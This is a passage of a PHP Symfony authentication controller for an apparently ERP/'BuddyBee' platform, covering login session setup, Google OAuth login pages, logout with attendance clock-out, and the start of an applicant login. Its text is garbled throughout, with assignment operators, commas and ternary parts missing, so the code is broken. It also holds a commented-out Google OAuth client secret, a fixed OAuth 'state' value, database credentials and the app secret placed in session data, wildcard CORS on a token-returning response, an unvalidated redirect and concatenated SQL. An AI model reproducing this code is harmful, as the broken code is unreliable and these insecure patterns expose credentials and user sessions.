  5425.                                     $company_locale $companyList[$c]['locale'];
  5426.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5427.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5428.                                 }
  5429.                             }
  5430.                         }
  5431.                     }
  5432.                     if (count($position_list_array) > 1) {
  5433.                         $userForcedRoute 'user_login_position';
  5434. //                        return $this->redirectToRoute("user_login_position");
  5435.                     } else {
  5436.                     }
  5437.                 }
  5438.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  5439.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  5440.                     $userType == UserConstants::USER_TYPE_SYSTEM
  5441.                 ) {
  5442.                     $session_data = array(
  5443.                         UserConstants::USER_ID => $userId,
  5444.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  5445.                         UserConstants::APPLICANT_ID => $applicantId,
  5446.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  5447.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  5448.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  5449.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  5450.                         UserConstants::SUPPLIER_ID => $supplierId,
  5451.                         UserConstants::CLIENT_ID => $clientId,
  5452.                         UserConstants::USER_TYPE => $userType,
  5453.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  5454.                         UserConstants::IS_CONSULTANT => $isConsultant,
  5455.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  5456.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  5457.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  5458.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  5459.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  5460.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  5461.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  5462.                         UserConstants::USER_NAME => $userFullName,
  5463.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  5464.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  5465.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  5466.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  5467.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  5468.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  5469.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  5470.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  5471.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  5472.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  5473.                         UserConstants::USER_GOC_ID => $gocId,
  5474.                         UserConstants::USER_DB_NAME => $gocDbName,
  5475.                         UserConstants::USER_DB_USER => $gocDbUser,
  5476.                         UserConstants::USER_DB_PASS => $gocDbPass,
  5477.                         UserConstants::USER_DB_HOST => $gocDbHost,
  5478.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  5479.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5480.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5481.                         UserConstants::USER_LOGIN_ID => $loginID,
  5482.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  5483.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  5484.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  5485.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  5486.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  5487.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  5488.                         'IS_EMAIL_VERIFIED' => $isEmailVerified,
  5489.                         'REMEMBERME' => $remember_me,
  5490.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  5491.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  5492.                         'oAuthToken' => $oAuthToken,
  5493.                         'locale' => $locale,
  5494.                         'firebaseToken' => $firebaseToken,
  5495.                         'token' => $session->get('token'),
  5496.                         'firstLogin' => $firstLogin,
  5497.                         'oAuthImage' => $oAuthImage,
  5498.                         'appIdList' => json_encode($appIdList),
  5499.                         'branchIdList' => json_encode($branchIdList),
  5500.                         'branchId' => $branchId,
  5501.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  5502.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  5503.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  5504.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  5505.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  5506.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  5507.                     );
  5508.                     if ($systemType == '_CENTRAL_') {
  5509.                         $accessList = [];
  5510. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  5511.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  5512.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  5513.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  5514.                                     $d = array(
  5515.                                         'userType' => $thisUserUserType,
  5516.                                         'globalId' => $globalId,
  5517.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  5518.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  5519.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  5520.                                         'systemType' => '_ERP_',
  5521.                                         'companyId' => 1,
  5522.                                         'appId' => $thisUserAppId,
  5523.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  5524.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  5525.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  5526.                                                 array(
  5527.                                                     'globalId' => $globalId,
  5528.                                                     'appId' => $thisUserAppId,
  5529.                                                     'authenticate' => 1,
  5530.                                                     'userType' => $thisUserUserType
  5531.                                                 )
  5532.                                             )
  5533.                                         ),
  5534.                                         'userCompanyList' => [
  5535.                                         ]
  5536.                                     );
  5537.                                     $accessList[] = $d;
  5538.                                 }
  5539.                             }
  5540.                         }
  5541.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  5542.                         $session_data['userAccessList'] = $accessList;
  5543.                     }
  5544.                     $ultimateData System::setSessionForUser($em_goc,
  5545.                         $session,
  5546.                         $session_data,
  5547.                         $config
  5548.                     );
  5549. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  5550.                     $session_data $ultimateData['sessionData'];
  5551.                     $session_data $this->filterClientSessionData($session_data);
  5552.                     $token $ultimateData['token'];
  5553.                     $session->set('token'$token);
  5554.                     if ($systemType == '_CENTRAL_') {
  5555.                         $session->set('csToken'$token);
  5556.                     } else {
  5557.                         $session->set('csToken'$csToken);
  5558.                     }
  5559.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  5560.                         $session->set('remoteVerified'1);
  5561.                         $response = new JsonResponse(array(
  5562.                             'token' => $token,
  5563.                             'uid' => $session->get(UserConstants::USER_ID),
  5564.                             'session' => $session,
  5565.                             'success' => true,
  5566.                             'session_data' => $session_data,
  5567.                         ));
  5568.                         $response->headers->set('Access-Control-Allow-Origin''*');
  5569.                         return $response;
  5570.                     }
  5571.                     //TEMP START
  5572.                     if ($systemType == '_CENTRAL_') {
  5573.                         return $this->redirectToRoute('central_landing');
  5574.                     }
  5575.                     //TREMP END
  5576.                     if ($userForcedRoute != '')
  5577.                         return $this->redirectToRoute($userForcedRoute);
  5578.                     if ($request->request->has('referer_path')) {
  5579.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  5580.                             return $this->redirect($request->request->get('referer_path'));
  5581.                         }
  5582.                     }
  5583.                     if ($request->query->has('refRoute')) {
  5584.                         if ($request->query->get('refRoute') == '8917922')
  5585.                             $userDefaultRoute 'apply_for_consultant';
  5586.                     }
  5587.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  5588.                         $userDefaultRoute 'dashboard';
  5589.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5590.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5591.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5592.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5593.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5594.                                 return $this->redirect($red);
  5595.                             }
  5596.                         } else {
  5597.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5598.                         }
  5599.                     } else
  5600.                         return $this->redirectToRoute($userDefaultRoute);
  5601.                 }
  5602.             }
  5603.         }
  5604.         $session $request->getSession();
  5605.         if (isset($encData['appId'])) {
  5606.             if (isset($gocDataListByAppId[$encData['appId']]))
  5607.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  5608.         }
  5609.         $routeName $request->attributes->get('_route');
  5610.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  5611.             $refRoute '';
  5612.             $message '';
  5613.             $errorField '_NONE_';
  5614. //            if ($request->query->has('message')) {
  5615. //                $message = $request->query->get('message');
  5616. //
  5617. //            }
  5618. //            if ($request->query->has('errorField')) {
  5619. //                $errorField = $request->query->get('errorField');
  5620. //
  5621. //            }
  5622.             if ($refRoute != '') {
  5623.                 if ($refRoute == '8917922')
  5624.                     $redirectRoute 'apply_for_consultant';
  5625.             }
  5626.             if ($request->query->has('refRoute')) {
  5627.                 $refRoute $request->query->get('refRoute');
  5628.                 if ($refRoute == '8917922')
  5629.                     $redirectRoute 'apply_for_consultant';
  5630.             }
  5631.             $google_client = new Google_Client();
  5632. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5633. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5634.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5635.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5636.             } else {
  5637.                 $url $this->generateUrl(
  5638.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5639.                 );
  5640.             }
  5641.             $selector BuddybeeConstant::$selector;
  5642.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5643. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5644.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5645. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5646.             $google_client->setRedirectUri($url);
  5647.             $google_client->setAccessType('offline');        // offline access
  5648.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5649.             $google_client->setRedirectUri($url);
  5650.             $google_client->addScope('email');
  5651.             $google_client->addScope('profile');
  5652.             $google_client->addScope('openid');
  5653.             return $this->render(
  5654.                 '@Authentication/pages/views/applicant_login.html.twig',
  5655.                 [
  5656.                     'page_title' => 'BuddyBee Login',
  5657.                     'oAuthLink' => $google_client->createAuthUrl(),
  5658.                     'redirect_url' => $url,
  5659.                     'message' => $message,
  5660.                     'errorField' => '',
  5661.                     'systemType' => $systemType,
  5662.                     'ownServerId' => $ownServerId,
  5663.                     'refRoute' => $refRoute,
  5664.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5665.                     'selector' => $selector
  5666.                 ]
  5667.             );
  5668.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  5669.             $refRoute '';
  5670.             $message '';
  5671.             $errorField '_NONE_';
  5672. //            if ($request->query->has('message')) {
  5673. //                $message = $request->query->get('message');
  5674. //
  5675. //            }
  5676. //            if ($request->query->has('errorField')) {
  5677. //                $errorField = $request->query->get('errorField');
  5678. //
  5679. //            }
  5680.             if ($refRoute != '') {
  5681.                 if ($refRoute == '8917922')
  5682.                     $redirectRoute 'apply_for_consultant';
  5683.             }
  5684.             if ($request->query->has('refRoute')) {
  5685.                 $refRoute $request->query->get('refRoute');
  5686.                 if ($refRoute == '8917922')
  5687.                     $redirectRoute 'apply_for_consultant';
  5688.             }
  5689.             $google_client = new Google_Client();
  5690. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5691. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5692.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5693.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5694.             } else {
  5695.                 $url $this->generateUrl(
  5696.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5697.                 );
  5698.             }
  5699.             $selector BuddybeeConstant::$selector;
  5700. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5701.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  5702. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5703.             $google_client->setRedirectUri($url);
  5704.             $google_client->setAccessType('offline');        // offline access
  5705.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5706.             $google_client->setRedirectUri($url);
  5707.             $google_client->addScope('email');
  5708.             $google_client->addScope('profile');
  5709.             $google_client->addScope('openid');
  5710.             return $this->render(
  5711.                 '@Authentication/pages/views/central_login.html.twig',
  5712.                 [
  5713.                     'page_title' => 'Central Login',
  5714.                     'oAuthLink' => $google_client->createAuthUrl(),
  5715.                     'redirect_url' => $url,
  5716.                     'message' => $message,
  5717.                     'systemType' => $systemType,
  5718.                     'ownServerId' => $ownServerId,
  5719.                     'errorField' => '',
  5720.                     'refRoute' => $refRoute,
  5721.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5722.                     'selector' => $selector
  5723.                 ]
  5724.             );
  5725.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  5726.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  5727.         } else
  5728.             return $this->render(
  5729.                 '@Authentication/pages/views/login_new.html.twig',
  5730.                 array(
  5731.                     "message" => $message,
  5732.                     'page_title' => 'Login',
  5733.                     'gocList' => $gocDataListForLoginWeb,
  5734.                     'gocId' => $gocId != $gocId '',
  5735.                     'systemType' => $systemType,
  5736.                     'ownServerId' => $ownServerId,
  5737.                     'encData' => $encData,
  5738.                     //                'ref'=>$request->
  5739.                 )
  5740.             );
  5741.     }
  5742.     public function initiateAdminAction(Request $request$remoteVerify 0)
  5743.     {
  5744.         $em $this->getDoctrine()->getManager();
  5745.         MiscActions::initiateAdminUser($em);
  5746.         $this->addFlash(
  5747.             'success',
  5748.             'The Action was Successful.'
  5749.         );
  5750.         return $this->redirectToRoute('user_login');
  5751.     }
  5752.     public function LogoutAction(Request $request$remoteVerify 0)
  5753.     {
  5754.         $session $request->getSession();
  5755.         $em_goc $this->getDoctrine()->getManager('company_group');
  5756.         $session $request->getSession();
  5757.         $token $request->headers->get('auth-token'$request->request->get('token'$request->request->get('hbeeSessionToken''')));
  5758. //        return new JsonResponse([$token]);
  5759.         if ($session->get(UserConstants::USER_ID0) == 0) {
  5760. //                    return new JsonResponse([$token]);
  5761.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$token)['sessionData'];
  5762.             if ($to_set_session_data != null) {
  5763.                 foreach ($to_set_session_data as $k => $d) {
  5764.                     //check if mobile
  5765.                     $session->set($k$d);
  5766.                 }
  5767.             } else {
  5768.                 $hbeeErrorCode ApiConstants::ERROR_TOKEN_EXPIRED;
  5769.             }
  5770.         }
  5771.         $userId $session->get(UserConstants::USER_ID);
  5772.         $currentTime = new \Datetime();
  5773.         $currTs $currentTime->format('U');
  5774.         $routeName $request->attributes->get('_route');
  5775.         $currentTaskId $session->get(UserConstants::USER_CURRENT_TASK_ID0);
  5776.         $currentPlanningItemId $session->get(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5777.         if ($request->query->get('endCurrentTask'1) == 1) {
  5778.             if (
  5779.                 ($currentTaskId != && $currentTaskId != null && $currentTaskId != '') &&
  5780.                 ($session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_GENERAL ||
  5781.                     $session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_SYSTEM)
  5782.             ) {
  5783.                 $gocId $session->get(UserConstants::USER_GOC_ID);
  5784.                 $appId $session->get(UserConstants::USER_APP_ID);
  5785.                 $acknowledgementService $this->get('app.public_document_acknowledgement_service');
  5786.                 list($em$goc) = $acknowledgementService->getPublicDocumentEntityManager($appId);
  5787.                 // Guard an unresolved tenant: getPublicDocumentEntityManager() returns
  5788.                 // [null, null] when the session's app_id has no company_group registry row.
  5789.                 // Don't crash logout â€” skip the cross-DB task_log close; the session is cleared
  5790.                 // below regardless. (The real issue is the unregistered app_id â€” see logs.)
  5791.                 if ($em !== null) {
  5792.                     $stmt $em->getConnection()->executeStatement('UPDATE task_log set working_status=2, actual_end_ts=' $currTs ' where working_status=1 and user_id= ' $session->get(UserConstants::USER_ID) . ' ;');
  5793.                 }
  5794.                 if (1) {
  5795.                     $session->set(UserConstants::USER_CURRENT_TASK_ID0);
  5796.                     $session->set(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5797.                     $empId $session->get(UserConstants::USER_EMPLOYEE_ID0);
  5798.                     $currTime = new \DateTime();
  5799.                     $options = array(
  5800.                         'notification_enabled' => $this->container->getParameter('notification_enabled'),
  5801.                         'notification_server' => $this->container->getParameter('notification_server'),
  5802.                     );
  5803.                     $positionsArray = [
  5804.                         array(
  5805.                             'employeeId' => $empId,
  5806.                             'userId' => $session->get(UserConstants::USER_ID0),
  5807.                             'sysUserId' => $session->get(UserConstants::USER_ID0),
  5808.                             'timeStamp' => $currTime->format(DATE_ISO8601),
  5809.                             'lat' => 23.8623834,
  5810.                             'lng' => 90.3979294,
  5811.                             'markerId' => HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT,
  5812. //                            'userId'=>$session->get(UserConstants::USER_ID, 0),
  5813.                         )
  5814.                     ];
  5815.                     if (is_string($positionsArray)) $positionsArray json_decode($positionsArraytrue);
  5816.                     if ($positionsArray == null$positionsArray = [];
  5817.                     $dataByAttId = [];
  5818.                     $workPlaceType '_UNSET_';
  5819.                     foreach ($positionsArray as $findex => $d) {
  5820.                         $sysUserId 0;
  5821.                         $userId 0;
  5822.                         $empId 0;
  5823.                         $dtTs 0;
  5824.                         $timeZoneStr '+0000';
  5825.                         if (isset($d['employeeId'])) $empId $d['employeeId'];
  5826.                         if (isset($d['userId'])) $userId $d['userId'];
  5827.                         if (isset($d['sysUserId'])) $sysUserId $d['sysUserId'];
  5828.                         if (isset($d['tsMilSec'])) {
  5829.                             $dtTs ceil(($d['tsMilSec']) / 1000);
  5830.                         }
  5831.                         if ($dtTs == 0) {
  5832.                             $currTsTime = new \DateTime();
  5833.                             $dtTs $currTsTime->format('U');
  5834.                         } else {
  5835.                             $currTsTime = new \DateTime('@' $dtTs);
  5836.                         }
  5837.                         $currTsTime->setTimezone(new \DateTimeZone('UTC'));
  5838.                         $attDate = new \DateTime($currTsTime->format('Y-m-d') . ' 00:00:00' $timeZoneStr);
  5839.                         $EmployeeAttendance $this->getDoctrine()
  5840.                             ->getRepository(EmployeeAttendance::class)
  5841.                             ->findOneBy(array('employeeId' => $empId'date' => $attDate));
  5842.                         if (!$EmployeeAttendance) {
  5843.                             continue;
  5844.                         } else {
  5845.                         }
  5846.                         $attendanceInfo HumanResource::StoreAttendance($em$empId$sysUserId$request$EmployeeAttendance$attDate$dtTs$timeZoneStr$d['markerId']);
  5847.                         if ($d['markerId'] == HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT) {
  5848.                             $workPlaceType '_STATIC_';
  5849.                         }
  5850.                         if (!isset($dataByAttId[$attendanceInfo->getId()]))
  5851.                             $dataByAttId[$attendanceInfo->getId()] = array(
  5852.                                 'attendanceInfo' => $attendanceInfo,
  5853.                                 'empId' => $empId,
  5854.                                 'lat' => 0,
  5855.                                 'lng' => 0,
  5856.                                 'address' => 0,
  5857.                                 'sysUserId' => $sysUserId,
  5858.                                 'companyId' => $request->getSession()->get(UserConstants::USER_COMPANY_ID),
  5859.                                 'appId' => $request->getSession()->get(UserConstants::USER_APP_ID),
  5860.                                 'positionArray' => []
  5861.                             );
  5862.                         $posData = array(
  5863.                             'ts' => $dtTs,
  5864.                             'lat' => $d['lat'],
  5865.                             'lng' => $d['lng'],
  5866.                             'marker' => $d['markerId'],
  5867.                             'src' => 2,
  5868.                         );
  5869.                         $posDataArray = array(
  5870.                             $dtTs,
  5871.                             $d['lat'],
  5872.                             $d['lng'],
  5873.                             $d['markerId'],
  5874.                             2
  5875.                         );
  5876.                         $dataByAttId[$attendanceInfo->getId()]['markerId'] = $d['markerId'];
  5877.                         //this markerId will be calclulted and modified to check if user is in our out of office/workplace later
  5878.                         $dataByAttId[$attendanceInfo->getId()]['attendanceInfo'] = $attendanceInfo;
  5879.                         $dataByAttId[$attendanceInfo->getId()]['positionArray'][] = $posData;
  5880.                         $dataByAttId[$attendanceInfo->getId()]['lat'] = $d['lat'];  //for last lat lng etc
  5881.                         $dataByAttId[$attendanceInfo->getId()]['lng'] = $d['lng'];  //for last lat lng etc
  5882.                         if (isset($d['address']))
  5883.                             $dataByAttId[$attendanceInfo->getId()]['address'] = $d['address'];  //for last lat lng etc
  5884. //                $dataByAttId[$attendanceInfo->getId()]['positionArray'][]=$posDataArray;
  5885.                     }
  5886.                     $response = array(
  5887.                         'success' => true,
  5888.                     );
  5889.                     foreach ($dataByAttId as $attInfoId => $d) {
  5890.                         $response HumanResource::setAttendanceLogFlutterApp($em,
  5891.                             $d['empId'],
  5892.                             $d['sysUserId'],
  5893.                             $d['companyId'],
  5894.                             $d['appId'],
  5895.                             $request,
  5896.                             $d['attendanceInfo'],
  5897.                             $options,
  5898.                             $d['positionArray'],
  5899.                             $d['lat'],
  5900.                             $d['lng'],
  5901.                             $d['address'],
  5902.                             $d['markerId']
  5903.                         );
  5904.                     }
  5905.                 }
  5906.             }
  5907.         }
  5908.         if ($token != '')
  5909.             MiscActions::DeleteToken($em_goc$token);
  5910.         $session->clear();
  5911.         $session->set('CLEARLOGIN'1);
  5912.         if (strripos($request->server->get('HTTP_REFERER'), 'select_data') === false) {
  5913.             if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  5914.                 $referrerPath parse_url($request->server->get('HTTP_REFERER'), PHP_URL_PATH);
  5915.                 $referrerPath strtolower($referrerPath === false || $referrerPath === null $request->server->get('HTTP_REFERER') : $referrerPath);
  5916.                 if (strripos($referrerPath'/auth/') === false && strripos($referrerPath'undefined') === false
  5917.                     && strripos($referrerPath'signature_status') === false && strripos($referrerPath'/api/') === false) {
  5918.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$request->server->get('HTTP_REFERER'));
  5919.                 } else {
  5920.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5921.                 }
  5922.             }
  5923.         } else {
  5924.             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5925.         }
  5926. //        $request->headers->setCookie(Cookie::create('CLEARLOGINCOOKIE', 1
  5927. //            )
  5928. //
  5929. //        );
  5930.         if ($routeName == 'app_logout_api' || $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == || $request->get('returnJson'0) == 1) {
  5931.             if ($userId) {
  5932.                 return new JsonResponse(array(
  5933.                     "success" => empty($session->get(UserConstants::USER_ID)) ? true false,
  5934.                     "message" => "Logout Successfull!",
  5935.                     'session_data' => [],
  5936.                     'userId' => $userId
  5937.                 ));
  5938.             } else {
  5939.                 return new JsonResponse(array(
  5940.                     "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  5941.                     "message" => "Already Logout",
  5942.                     'session_data' => [],
  5943.                     'userId' => $userId
  5944.                 ));
  5945.             }
  5946.         }
  5947.         return $this->redirectToRoute("dashboard");
  5948.     }
  5949.     public function applicantLoginAction(Request $request$encData ''$remoteVerify 0)
  5950.     {
  5951.         $session $request->getSession();
  5952.         $email $request->getSession()->get('userEmail');
  5953.         $sessionUserId $request->getSession()->get('userId');
  5954.         $oAuthData = [];
  5955. //    $encData='';
  5956.         $em $this->getDoctrine()->getManager('company_group');
  5957.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  5958.         $redirectRoute 'dashboard';
  5959.         if ($encData != '') {
  5960.             if ($encData == '8917922')
  5961.                 $redirectRoute 'apply_for_consultant';
  5962.         }
  5963.         if ($request->query->has('encData')) {
  5964.             $encData $request->query->get('encData');
  5965.             if ($encData == '8917922')
  5966.                 $redirectRoute 'apply_for_consultant';
  5967.         }
  5968.         $message '';
  5969.         $errorField '_NONE_';
  5970.         if ($request->query->has('message')) {
  5971.             $message $request->query->get('message');
  5972.         }
  5973.         if ($request->query->has('errorField')) {
  5974.             $errorField $request->query->get('errorField');
  5975.         }
  5976.         if ($request->request->has('oAuthData')) {
  5977.             $oAuthData $request->request->get('oAuthData', []);
  5978.         } else {
  5979.             $oAuthData = [
  5980.                 'email' => $request->request->get('email'''),
  5981.                 'uniqueId' => $request->request->get('uniqueId'''),
  5982.                 'oAuthHash' => '_NONE_',
  5983.                 'image' => $request->request->get('image'''),
  5984.                 'emailVerified' => $request->request->get('emailVerified'''),
  5985.                 'name' => $request->request->get('name'''),
  5986.                 'firstName' => $request->request->get('firstName'''),
  5987.                 'lastName' => $request->request->get('lastName'''),
  5988.                 'type' => 1,
  5989.                 'token' => $request->request->get('oAuthtoken'''),
  5990.             ];
  5991.         }
  5992.         $isApplicantExist null;
  5993.         if ($email) {
  5994.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5995.                 $isApplicantExist $applicantRepo->findOneBy([
  5996.                     'applicantId' => $sessionUserId
  5997.                 ]);
  5998.             } else
  5999.                 return $this->redirectToRoute($redirectRoute);
  6000.         }
  6001.         $google_client = new Google_Client();
  6002. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6003. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6004.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6005.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6006.         } else {
  6007.             $url $this->generateUrl(
  6008.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6009.             );
  6010.         }
  6011.         $selector BuddybeeConstant::$selector;
  6012.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6013.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6014. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6015.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6016. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6017.         $google_client->setRedirectUri($url);
  6018.         $google_client->setAccessType('offline');        // offline access
  6019.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6020.         $google_client->addScope('email');
  6021.         $google_client->addScope('profile');
  6022.         $google_client->addScope('openid');
  6023. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6024.         //linked in 1st
  6025.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6026.             $curl curl_init();
  6027.             curl_setopt_array($curl, array(
  6028.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6029.                 CURLOPT_HEADER => false,  // don't return headers
  6030.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6031.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6032.                 CURLOPT_ENCODING => "",     // handle compressed
  6033.                 CURLOPT_USERAGENT => "test"// name of client
  6034.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6035.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6036.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6037.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6038.                 CURLOPT_USERAGENT => 'InnoPM',
